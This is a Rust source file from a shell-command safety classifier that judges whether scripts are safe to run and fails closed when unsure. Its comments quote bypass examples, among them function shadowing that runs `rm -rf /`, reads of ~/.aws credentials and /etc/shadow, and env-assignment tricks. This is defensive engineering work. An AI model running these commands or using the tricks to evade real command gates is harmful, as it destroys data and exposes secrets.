Skip to main content

safe_chains/cst/
check.rs

1pub(super) use super::classify_budget::ClassifyGuard;
2pub(crate) use super::classify_budget::charge_classify_work;
3pub(super) use super::scope_budget::scope_budget_spent;
4use super::scope_budget::{ScopeWalk, UNCERTAIN_VALUE, rebind_uncertain};
5use super::*;
6use crate::parse::Token;
7use crate::verdict::{SafetyLevel, Verdict};
8use crate::{handlers, pathctx::judging};
9
10pub fn command_verdict(input: &str) -> Verdict {
11    let Some(_guard) = ClassifyGuard::enter(input.len()) else {
12        return Verdict::Denied; // classification budget spent — fail closed
13    };
14    let Some(script) = parse(input) else {
15        return Verdict::Denied;
16    };
17    let verdict = script_verdict(&script);
18    if scope_budget_spent() {
19        return Verdict::Denied; // shell state untrackable within budget — fail closed
20    }
21    verdict
22}
23
24pub fn is_safe_command(input: &str) -> bool {
25    command_verdict(input).is_allowed()
26}
27
28thread_local! {
29    /// Functions DEFINED so far in the current classification, so a later call resolves to its body
30    /// (and a definition SHADOWS a same-named built-in — `ls(){ rm -rf /; }; ls` runs rm). Owned
31    /// clones (small); a thread-local can't borrow the CST. Latest definition wins.
32    static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
33        const { std::cell::RefCell::new(Vec::new()) };
34    /// Function names whose CURRENT body we cannot attribute — redefined inside a compound, where
35    /// the shell keeps the new body but we cannot say which one ran. `lookup_function` reports them
36    /// as unknown, so a call falls through to ordinary dispatch and denies (fail-closed) rather
37    /// than resolving to a stale, more permissive definition.
38    static POISONED_FUNCS: std::cell::RefCell<Vec<String>> =
39        const { std::cell::RefCell::new(Vec::new()) };
40    /// Names currently being resolved — bounds recursion (direct AND mutual) and total call depth,
41    /// so `f(){ f; }` or a deep chain can't blow the stack; hitting the bound denies (fail-closed).
42    static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
43}
44
45const MAX_FUNC_DEPTH: usize = 32;
46
47struct FuncScope;
48impl Drop for FuncScope {
49    fn drop(&mut self) {
50        FUNCTIONS.with(|f| {
51            f.borrow_mut().pop();
52        });
53    }
54}
55
56fn define_function(name: String, body: Script) -> FuncScope {
57    FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
58    FuncScope
59}
60
61pub(super) fn lookup_function(name: &str) -> Option<Script> {
62    if POISONED_FUNCS.with(|p| p.borrow().iter().any(|n| n == name)) {
63        return None; // body unknown — deny rather than use a stale one
64    }
65    FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
66}
67
68/// Mark `name`'s body unknown for the rest of this evaluation. Not scoped by a guard: the shell's
69/// redefinition is not scoped either, and every classification starts with a fresh thread-local.
70fn poison_function(name: String) {
71    POISONED_FUNCS.with(|p| p.borrow_mut().push(name));
72}
73
74struct ResolveScope;
75impl Drop for ResolveScope {
76    fn drop(&mut self) {
77        RESOLVING.with(|r| {
78            r.borrow_mut().pop();
79        });
80    }
81}
82
83/// Begin resolving a call to `name`, unless it recurses, exceeds the depth cap, or exhausts the
84/// per-invocation classification budget — then return `None` and the caller treats it as an ordinary
85/// (unknown) command, which denies. The budget is what stops exponential FAN-OUT (`f(){ f2; f2; };
86/// f2(){ f3; f3; }; …`): the depth cap alone bounds a linear chain, but branching multiplies, so each
87/// resolution charges the shared `CLASSIFY_WORK` counter that also caps delegating-handler recursion.
88fn begin_resolving(name: &str) -> Option<ResolveScope> {
89    if !charge_classify_work(1) {
90        return None;
91    }
92    RESOLVING.with(|r| {
93        let mut stack = r.borrow_mut();
94        if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
95            None
96        } else {
97            stack.push(name.to_string());
98            Some(ResolveScope)
99        }
100    })
101}
102
103fn script_verdict(script: &Script) -> Verdict {
104    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
105        .into_iter()
106        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
107}
108
109/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
110/// installed, and return the per-statement results.
111///
112/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
113/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
114/// released when this returns). Fail-open on cwd: an unresolvable `cd` leaves it unchanged.
115///
116/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
117/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
118/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
119/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
120pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
121    let _walk = ScopeWalk::enter();
122    let mut running = crate::pathctx::cwd();
123    let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
124    let mut _funcs: Vec<FuncScope> = Vec::new();
125    let mut out = Vec::with_capacity(script.0.len());
126    for stmt in &script.0 {
127        out.push({
128            let _cwd = crate::pathctx::enter_cwd(running.clone());
129            per_stmt(stmt)
130        });
131        let effects = if scope_budget_spent() { ShellEffects::default() } else { shell_effects(&stmt.pipeline) };
132        let next = super::cd::cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
133        if next.is_some() {
134            running = next;
135        } else if effects.cwd {
136            // The shell may have moved somewhere we cannot name — a `cd` inside a compound or a
137            // called function, or a bare `cd`/`cd -`. Keeping the old cwd would judge later
138            // relative paths against a directory the shell has left.
139            running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
140        }
141        for (name, value) in statement_assignments(&stmt.pipeline) {
142            _vars.push(crate::pathctx::enter_var(name, value));
143        }
144        // Rebinds the shell keeps but we cannot attribute — a `VAR=…` or `name() {…}` inside a
145        // compound or a called function. Pushed AFTER the precise bindings above so the uncertain
146        // value wins for that name; a statement handled precisely contributes nothing here.
147        rebind_uncertain(effects.vars, &mut _vars);
148        for name in effects.funcs {
149            poison_function(name);
150        }
151        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
152            _funcs.push(define_function(name.clone(), body.clone()));
153        }
154    }
155    out
156}
157
158/// How deep to chase function bodies. Bounded so a recursive definition cannot spin; hitting the
159/// bound reports a possible effect, which fails closed.
160const MAX_CD_SCAN_DEPTH: usize = 16;
161
162/// What running a statement may do to the CURRENT shell's state that we cannot attribute exactly.
163///
164/// bash isolates such effects in exactly two places — a SUBSHELL, and a stage of a multi-command
165/// pipeline. Everywhere else (brace group, `if`, `for`, `while`, `case`, a called function) a `cd`,
166/// a `VAR=…` or a `name() {…}` takes effect in the current shell and outlives the construct. The
167/// precise handling matches only statement-level forms, so all of those escaped tracking:
168/// `{ cd ~/.aws; }; cat credentials` was judged as a worktree read, and
169/// `VAR=./ok; { VAR=/etc/shadow; }; cat $VAR` kept the stale binding. Both are fail-OPEN — the
170/// stale state is the permissive one.
171///
172/// Whether the effect happened is unknowable (a branch may not be taken, a loop may not run), so
173/// the caller marks the cwd and the named bindings UNCERTAIN rather than guessing a value.
174#[derive(Default)]
175struct ShellEffects {
176    cwd: bool,
177    vars: Vec<String>,
178    funcs: Vec<String>,
179}
180
181/// The effects of one statement. Empty for a multi-stage pipeline, whose stages are subshells.
182fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
183    let mut out = ShellEffects::default();
184    if let [only] = pipeline.commands.as_slice() {
185        // `seen` memoizes function bodies. Without it `f0(){ f1; f1; }; f1(){ f2; f2; }; …` costs
186        // 2^depth traversals — a depth cap bounds depth but not FAN-OUT, the same blow-up the
187        // classifier's own work budget exists for. Caught by the termination guard.
188        let mut seen = Vec::new();
189        scan_effects(only, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
190    }
191    out
192}
193
194fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
195    let Some(depth) = depth.checked_sub(1) else {
196        out.cwd = true; // out of budget — assume the worst
197        return;
198    };
199    match cmd {
200        Cmd::Simple(s) => {
201            let Some(name) = s.words.first().map(Word::eval) else {
202                return; // a bare `VAR=x` — handled precisely by `statement_assignments`
203            };
204            out.vars.extend(super::opaque::declared_names(s));
205            if name == "cd" {
206                out.cwd = true;
207                return;
208            }
209            // A CALL runs the body in THIS shell, so its effects escape with it.
210            if seen.contains(&name) {
211                return;
212            }
213            if let Some(body) = lookup_function(&name) {
214                seen.push(name);
215                scan_script_effects(&body, depth, seen, out);
216            }
217        }
218        // The two constructs the shell really does isolate, plus forms that run nothing.
219        Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
220        Cmd::BraceGroup { body, .. } | Cmd::For { body, .. } => {
221            scan_script_effects(body, depth, seen, out);
222        }
223        Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
224            scan_script_effects(cond, depth, seen, out);
225            scan_script_effects(body, depth, seen, out);
226        }
227        Cmd::If { branches, else_body, .. } => {
228            for b in branches {
229                scan_script_effects(&b.cond, depth, seen, out);
230                scan_script_effects(&b.body, depth, seen, out);
231            }
232            if let Some(e) = else_body {
233                scan_script_effects(e, depth, seen, out);
234            }
235        }
236        Cmd::Case { arms, .. } => {
237            for a in arms {
238                scan_script_effects(&a.body, depth, seen, out);
239            }
240        }
241    }
242}
243
244/// Every statement of a body that the shell would run in the current shell: its assignments and
245/// function definitions rebind here, and its commands are scanned in turn.
246fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
247    for st in &script.0 {
248        for (name, _) in statement_assignments(&st.pipeline) {
249            out.vars.push(name);
250        }
251        if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
252            out.funcs.push(name.clone());
253        }
254        if let [only] = st.pipeline.commands.as_slice() {
255            scan_effects(only, depth, seen, out);
256        }
257    }
258}
259
260/// The variables a `while`/`until` condition of the form `read VAR…` (incl. `IFS= read -r VAR`) binds
261/// from stdin — its non-flag positionals — so the body's `$VAR` can be gated at the pipe's item locus.
262/// Empty for any other condition. (An exotic valued read flag's value may be over-included as a var
263/// name; harmless — it just binds a never-referenced name to the same workspace locus.)
264fn read_loop_vars(cond: &Script) -> Vec<String> {
265    let [stmt] = cond.0.as_slice() else {
266        return Vec::new();
267    };
268    let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
269        return Vec::new();
270    };
271    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
272    if words.first().map(String::as_str) != Some("read") {
273        return Vec::new();
274    }
275    words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
276}
277
278/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
279/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
280/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
281/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
282fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
283    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
284        return Vec::new();
285    };
286    if !s.words.is_empty() {
287        return Vec::new();
288    }
289    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
290}
291
292/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
293/// `$refs` against the current scope first, then requires no residual `$` and no substitution
294/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
295fn certain_value(word: &Word) -> String {
296    let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
297    // A TAGGED substitution sentinel is certain enough to BIND: it already classifies to a known
298    // locus, so `OUT=$(pwd); … > "$OUT/raw/x"` gates the write at the worktree rather than
299    // fail-closing on a value it can in fact bound. Every other marker stays uncertain.
300    if raw.contains('$') || is_opaque_value(&raw) { UNCERTAIN_VALUE.to_string() } else { raw }
301}
302
303/// Whether an evaluated word carries a marker the classifier CANNOT bound: the opaque command
304/// substitution, a process substitution (a `/dev/fd` pipe), or arithmetic. Deliberately not a
305/// `__SAFE_CHAINS_` prefix test, which would also catch the tagged (bounded) substitution.
306pub(crate) fn is_opaque_value(raw: &str) -> bool {
307    ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
308        .iter()
309        .any(|m| raw.contains(m))
310}
311
312#[cfg(test)]
313pub(crate) fn is_safe_script(script: &Script) -> bool {
314    script_verdict(script).is_allowed()
315}
316
317pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
318    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
319    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
320    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
321    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
322    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
323    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
324    let (mut stream, mut items): (Option<String>, _) = (None, crate::pathctx::item_shape::UNKNOWN);
325    for (stage, cmd) in pipeline.commands.iter().enumerate() {
326        let _stdin = stream.clone().map(|r| super::opaque::enter_stdin(r, items));
327        acc = acc.combine(super::netargs::with_stdin(pipeline, stage, || cmd_verdict(cmd)));
328        items = super::opaque::stage_shape(cmd, items);
329        stream = Some(stage_output_repr(cmd, stream.as_deref()));
330    }
331    acc
332}
333
334/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
335/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
336/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
337/// must deny in BOTH gate layers.
338const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
339
340/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
341/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
342/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
343/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
344pub(super) fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
345    let Cmd::Simple(s) = cmd else {
346        return UNKNOWN_ITEM.to_string();
347    };
348    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
349    let Some(first) = words.first() else {
350        return UNKNOWN_ITEM.to_string();
351    };
352    let name = Token::from_raw(first.clone()).command_name().to_string();
353    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
354    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
355    match name.as_str() {
356        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
357        //
358        // "Worst" by BOTH faces, not by whether the read is allowed. Selecting on `source_ok`
359        // dropped any root that merely reads fine, so `find app/.git` fell through to `.` and
360        // `find app/.git | while read f; do echo hi > "$f"; done` wrote into the frozen rung that
361        // `echo hi > app/.git/config` refuses. `.git` is exactly the path that reads fine and must
362        // not be written, so a read-face test could never see it.
363        "find" | "fd" | "fdfind" if super::opaque::prints_only_paths(&args) => {
364            let roots = find_roots(&args);
365            let base = roots
366                .iter()
367                .max_by_key(|r| {
368                    let (read, write) = (crate::engine::resolve::locus::read_locus(r), crate::engine::resolve::locus::write_locus(r));
369                    read.max(write)
370                })
371                .copied()
372                .unwrap_or(".");
373            // Same stand-in the `-exec` handlers bind `{}` to — one rule, one definition. It was two
374            // copies before, and the copy that got the shield fix was this one, so `find / | xargs
375            // cat` refused while `find / -exec cat {} \;` read the same files.
376            //
377            // Deliberately not applied to the arms below. `echo /etc/passwd | xargs cat` keeps its
378            // literal representative because the shield genuinely CAN check that one; the
379            // distinction is whether we hold the actual path or a placeholder for it.
380            crate::engine::resolve::locus::traversal_item(base)
381        }
382        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
383        "ls" => {
384            if args.contains(&"-d") {
385                worst_arg_repr(&args)
386            } else {
387                "sc_item".to_string()
388            }
389        }
390        // echo/printf emit their args verbatim; the worst-locus arg is the representative.
391        "echo" | "printf" => worst_arg_repr(&args),
392        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
393        "git" => match args.first() {
394            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
395            _ => UNKNOWN_ITEM.to_string(),
396        },
397        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
398        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
399        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
400        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
401        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
402        "head" | "tail" if !reads_a_file_after_count(&args) && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) => through(),
403        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
404        "tee" => through(),
405        _ => UNKNOWN_ITEM.to_string(),
406    }
407}
408
409/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
410/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
411/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
412/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
413/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
414fn reads_a_file(args: &[&str]) -> bool {
415    args.iter()
416        .any(|a| (!a.starts_with('-') && *a != "-") || *a == "--files0-from" || a.starts_with("--files0-from="))
417}
418
419/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
420/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
421fn reads_a_file_after_count(args: &[&str]) -> bool {
422    let mut i = 0;
423    while i < args.len() {
424        let a = args[i];
425        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
426            i += 2; // flag + its value
427            continue;
428        }
429        if a.starts_with('-') || a == "-" {
430            i += 1;
431            continue;
432        }
433        return true; // a bare positional → a file operand
434    }
435    false
436}
437
438/// Whether reading `path` is admitted — i.e. it is a workspace-bounded source (worktree, `/tmp`,
439/// a granted dir), so paths derived from it are safe operands.
440fn source_ok(path: &str) -> bool {
441    crate::engine::resolve::read_content_verdict(path).is_allowed()
442}
443
444/// The worst-locus non-flag arg (for `echo`/`printf`, which emit args verbatim): the first arg
445/// whose read is denied, else a worktree placeholder.
446fn worst_arg_repr(args: &[&str]) -> String {
447    args.iter()
448        .filter(|a| !a.starts_with('-'))
449        .find(|a| !source_ok(a))
450        .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
451}
452
453/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
454/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
455fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
456    let mut i = 0;
457    while i < args.len() {
458        match args[i] {
459            "-H" | "-L" | "-P" => i += 1,
460            "-D" | "-O" => i += 2,
461            _ => break,
462        }
463    }
464    let mut roots = Vec::new();
465    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
466        roots.push(args[i]);
467        i += 1;
468    }
469    if roots.is_empty() {
470        roots.push(".");
471    }
472    roots
473}
474
475pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
476    pipeline_verdict(pipeline).is_allowed()
477}
478
479pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
480    match cmd {
481        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
482        _ => true,
483    }
484}
485
486fn has_any_substitution(cmd: &SimpleCmd) -> bool {
487    cmd.words.iter().any(has_substitution) || cmd.env.iter().any(|(_, v)| has_substitution(v))
488}
489
490/// A command rendered for comparison against the user's own `Bash(...)` allow-rules.
491///
492/// Includes the LEADING ENV ASSIGNMENTS. Dropping them meant a rule written for one command
493/// silently covered a different one: `Bash(~/runner-scripts/x.sh:*)` matched
494/// `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a dry run pre-approved the mutating run.
495/// The user had even written separate `Bash(WRITE=1 …)` entries — necessary at the harness's own
496/// matcher, and quietly redundant here.
497///
498/// The rule must describe the command as TYPED. That is not a judgement about which variable names
499/// are dangerous (nothing here knows `LD_PRELOAD` from `NODE_ENV`) — it is only the requirement that
500/// an allow-rule cover what it claims to. A command carrying an assignment therefore matches only a
501/// rule that carries it too, and otherwise falls through to the harness's normal approval flow.
502///
503/// This is the USER-ALLOWLIST path alone. safe-chains' own knowledge of a command is consulted
504/// first and short-circuits before reaching here, so `LD_PRELOAD=… ls` is unaffected — see
505/// `docs/design/env-prefix-classification.md` for that separate, unfixed hole.
506/// `None` when the command cannot be rendered UNAMBIGUOUSLY, which callers must treat as "matches
507/// nothing".
508///
509/// An env value containing whitespace has no unambiguous flat rendering: `WRITE='1 script.sh' rm
510/// -rf /` and `WRITE=1 script.sh rm -rf /` produce the same string, but the first runs `rm` and the
511/// second runs `script.sh`. Since assignments sit BEFORE the program name, a value that swallows
512/// the rest of a pattern lets a rule for one program match a different one —
513/// `Bash(WRITE=1 script.sh:*)` would match `WRITE='1 script.sh' rm -rf /`. Refusing to render is the
514/// only honest answer; the alternative is a rule that silently covers a program it never named.
515///
516/// Words with whitespace are NOT refused: `git commit -m 'a message'` is ordinary and a rule like
517/// `Bash(git commit -m:*)` should keep covering it. A quoted word can shift an argument boundary,
518/// which is a pre-existing looseness of this matcher, but it cannot change which program runs —
519/// the program is the first word either way.
520pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
521    let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
522    for (name, value) in &cmd.env {
523        let value = value.eval();
524        if value.chars().any(char::is_whitespace) {
525            return None;
526        }
527        parts.push(format!("{name}={value}"));
528    }
529    parts.extend(cmd.words.iter().map(|w| w.eval()));
530    Some(parts.join(" "))
531}
532
533pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
534    match cmd {
535        Cmd::Simple(s) => simple_verdict(s),
536        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
537            let body_v = script_verdict(body);
538            if let Verdict::Denied = body_v {
539                return Verdict::Denied;
540            }
541            let redir_v = redirect_verdict(redirs);
542            if let Verdict::Denied = redir_v {
543                return Verdict::Denied;
544            }
545            body_v.combine(redir_v)
546        }
547        Cmd::For { var, items, body, redirs } => {
548            let redir_v = redirect_verdict(redirs).combine(crate::envvars::loop_var_verdict(var, items));
549            if let Verdict::Denied = redir_v {
550                return Verdict::Denied;
551            }
552            // Bind `$var` in the body to the loop list's locus (the `find … {}`→path binding,
553            // one layer up), so `for f in *.txt; do cat $f` reads the worktree instead of
554            // fail-closing on the bare `$f`.
555            let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
556            let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
557                Some((read_repr, write_repr)) => {
558                    let _g = super::opaque::enter_loop(var, items, read_repr, write_repr);
559                    super::netargs::with_loop(var, items, body, || script_verdict(body))
560                }
561                None => script_verdict(body),
562            };
563            words_sub_verdict(items).combine(body_v).combine(redir_v)
564        }
565        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
566            let redir_v = redirect_verdict(redirs);
567            if let Verdict::Denied = redir_v {
568                return Verdict::Denied;
569            }
570            let cond_v = script_verdict(cond);
571            // `while read VAR; do … "$VAR" …` — bind each read var to the piped stdin's item locus,
572            // exactly as the `for`-loop binds its list var, so `find ./src | while read f; do cat "$f"`
573            // reads the worktree instead of fail-closing on the bare `$f`. Only when a modeled source
574            // set the stdin repr; otherwise the vars stay unbound (fail-closed).
575            let _binds: Vec<_> = match crate::pathctx::stdin_item_repr() {
576                Some(repr) => read_loop_vars(cond).into_iter().map(|v| super::opaque::enter_read_var(v, &repr)).collect(),
577                None => Vec::new(),
578            };
579            cond_v.combine(script_verdict(body)).combine(redir_v)
580        }
581        Cmd::If { branches, else_body, redirs } => {
582            let redir_v = redirect_verdict(redirs);
583            if let Verdict::Denied = redir_v {
584                return Verdict::Denied;
585            }
586            let mut v = redir_v;
587            for b in branches {
588                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
589            }
590            if let Some(eb) = else_body {
591                v = v.combine(script_verdict(eb));
592            }
593            v
594        }
595        Cmd::DoubleBracket { words, redirs } => words_sub_verdict(words).combine(redirect_verdict(redirs)),
596        // Which arm runs is decided at runtime, so — exactly as for `If` — every arm body counts
597        // and the case is only as safe as its worst arm. The patterns are matched, never executed,
598        // but the SUBJECT is expanded, so its substitutions are gated like any other word.
599        Cmd::Case { subject, arms, redirs } => {
600            let redir_v = redirect_verdict(redirs);
601            if let Verdict::Denied = redir_v {
602                return Verdict::Denied;
603            }
604            let mut v = redir_v.combine(word_sub_verdict(subject));
605            for arm in arms {
606                v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
607            }
608            v
609        }
610        // Defining a function has NO effect — Inert regardless of the body. The body's safety is
611        // evaluated only when the function is CALLED (resolved in `simple_verdict`), so an UNCALLED
612        // definition never denies on its body.
613        Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
614    }
615}
616
617pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
618    cmd_verdict(cmd).is_allowed()
619}
620
621fn part_sub_verdict(part: &WordPart) -> Verdict {
622    match part {
623        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
624        WordPart::Backtick(raw) => command_verdict(raw),
625        WordPart::DQuote(inner) => word_sub_verdict(inner),
626        // Arithmetic is inert, but a `$( )` inside it runs — judged, not skipped.
627        WordPart::Arith(inner) => word_sub_verdict(inner),
628        _ => Verdict::Allowed(SafetyLevel::Inert),
629    }
630}
631
632fn word_sub_verdict(word: &Word) -> Verdict {
633    word.0.iter().map(part_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
634}
635
636fn words_sub_verdict(words: &[Word]) -> Verdict {
637    words.iter().map(word_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
638}
639
640#[cfg(test)]
641pub(crate) fn word_subs_safe(word: &Word) -> bool {
642    word_sub_verdict(word).is_allowed()
643}
644
645fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
646    let redir_v = redirect_verdict(&cmd.redirs);
647    if let Verdict::Denied = redir_v {
648        return Verdict::Denied;
649    }
650
651    let env_sub_v = cmd
652        .env
653        .iter()
654        .map(|(_, v)| word_sub_verdict(v))
655        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
656    let word_sub_v = words_sub_verdict(&cmd.words);
657
658    // A LISTED assignment is classified by its value (`envvars.toml`): `GIT_SSH_COMMAND` carries a
659    // command, `LD_PRELOAD` a path supplying code. An unlisted name is Inert, so this changes
660    // nothing for ordinary invocations — `FOO=bar ls` classifies exactly as `ls` does.
661    //
662    // COMBINED, not merely checked for denial. An assignment that resolves to a LEVEL carries that
663    // level into the command: `RUSTFLAGS='-Cincremental=./x'` authorises a worktree write, so the
664    // invocation is a write even when the command word is inert. Propagating only `Denied` here
665    // meant `RUSTFLAGS='-Cincremental=./x' echo hi` passed at `paranoid`, while the same write
666    // spelled `touch ./x` did not.
667    let env_name_v = cmd
668        .env
669        .iter()
670        .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
671        .fold(crate::envvars::rebinding_verdict(&cmd.words), Verdict::combine);
672    let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
673
674    if let Verdict::Denied = sub_v {
675        return Verdict::Denied;
676    }
677
678    if cmd.words.is_empty() {
679        if cmd.env.is_empty() {
680            return Verdict::Allowed(SafetyLevel::Inert);
681        }
682        return sub_v.combine(redir_v);
683    }
684
685    let name = cmd.words[0].eval();
686
687    // Function CALL: a user function SHADOWS everything it names, INCLUDING builtins like `eval`
688    // (`eval(){ rm -rf /; }; eval "echo hi"` runs the function, not eval) — so resolve a defined name
689    // FIRST, before the eval special-case and the leaf dispatch. Classify its BODY with $1..$N bound
690    // to the call's args (certain literals; uncertain → unpinnable). The shadow is UNCONDITIONAL: if
691    // resolution is blocked (recursion / depth / budget) we FAIL CLOSED, never fall through to the
692    // real command — otherwise `…512 calls…; ls(){ rm -rf /; }; ls` would exhaust the budget and then
693    // run the real `ls` for the rebound name, a bypass.
694    if let Some(body) = lookup_function(&name) {
695        let Some(_resolving) = begin_resolving(&name) else {
696            return Verdict::Denied;
697        };
698        let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
699            .iter()
700            .enumerate()
701            .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
702            .collect();
703        return sub_v.combine(super::netargs::with_args(cmd, || script_verdict(&body))).combine(redir_v);
704    }
705
706    if name == "eval" {
707        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
708    }
709
710    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
711    // would run is classified — a braced word must not hide a system path from the gate.
712    let words: Vec<Vec<Token>> = cmd.words.iter().map(|w| w.expand().into_iter().map(Token::from_raw).collect()).collect();
713    if words.iter().all(Vec::is_empty) {
714        return Verdict::Allowed(SafetyLevel::Inert);
715    }
716    if super::opaque::smuggles_a_flag(cmd) {
717        return Verdict::Denied;
718    }
719
720    let cmd_v = super::netargs::with_args(cmd, || super::opaque::probed_verdict(cmd, &words, judging(!cmd.env.is_empty(), leaf_verdict)));
